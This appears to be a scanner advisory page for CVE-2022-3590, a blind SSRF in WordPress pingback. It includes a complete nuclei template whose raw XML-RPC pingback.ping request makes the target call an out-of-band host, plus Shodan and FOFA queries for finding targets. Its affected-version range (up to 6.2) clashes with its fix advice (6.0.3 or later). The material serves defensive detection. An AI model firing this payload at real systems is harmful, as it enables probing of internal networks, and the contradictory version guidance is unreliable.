WordPress <= 6.2 - Server Side Request Forgery

mediumseverity

5.9CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.

Impact

Unauthenticated attackers can exploit a race condition in the WordPress pingback feature to perform blind SSRF attacks, potentially accessing internal network resources, cloud metadata endpoints, or other restricted internal services that are explicitly forbidden by validation checks.

Fix

Update WordPress to version 6.0.3 or later that properly handles TOCTOU race conditions in the pingback feature.

How to confirm it

Send: GET {{BaseURL}}
Positive when: matches /WordPress\s+(?:[1-5]\.\d+(?:\.\d+)?|6\.[0-2](?:\.\d+)?)/
Send: POST /xmlrpc.php
Positive when: status_code == 200 and contains_all(body, '<methodResponse>','faultCode','<fault>') and contains(content_type, 'text/xml') and contains(interactsh_protocol, 'dns')

Run it with nuclei: nuclei -id CVE-2022-3590 -u <target>

The full check

id: CVE-2022-3590

info:
  name: WordPress <= 6.2 - Server Side Request Forgery
  author: riteshs4hu
  severity: medium
  description: |
    WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.
  impact: |
    Unauthenticated attackers can exploit a race condition in the WordPress pingback feature to perform blind SSRF attacks, potentially accessing internal network resources, cloud metadata endpoints, or other restricted internal services that are explicitly forbidden by validation checks.
  remediation: |
    Update WordPress to version 6.0.3 or later that properly handles TOCTOU race conditions in the pingback feature.
  reference:
    - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
    - https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2022-3590
    cwe-id: CWE-367
    epss-score: 0.03434
    epss-percentile: 0.89059
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wordpress
    product: wordpress
    shodan-query:
      - cpe:"cpe:2.3:a:wordpress:wordpress"
      - http.component:"wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2022,wordpress,wpscan,ssrf,oast,oob,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: regex
        part: body
        regex:
          - 'WordPress\s+(?:[1-5]\.\d+(?:\.\d+)?|6\.[0-2](?:\.\d+)?)'
        internal: true

  - raw:
      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
          <methodName>pingback.ping</methodName>
          <params>
            <param>
              <value><string>http://{{interactsh-url}}/</string></value>
            </param>
            <param>
              <value><string>{{RootURL}}/?p=1</string></value>
            </param>
          </params>
        </methodCall>
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, '<methodResponse>','faultCode','<fault>')"
          - "contains(content_type, 'text/xml')"
          - "contains(interactsh_protocol, 'dns')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from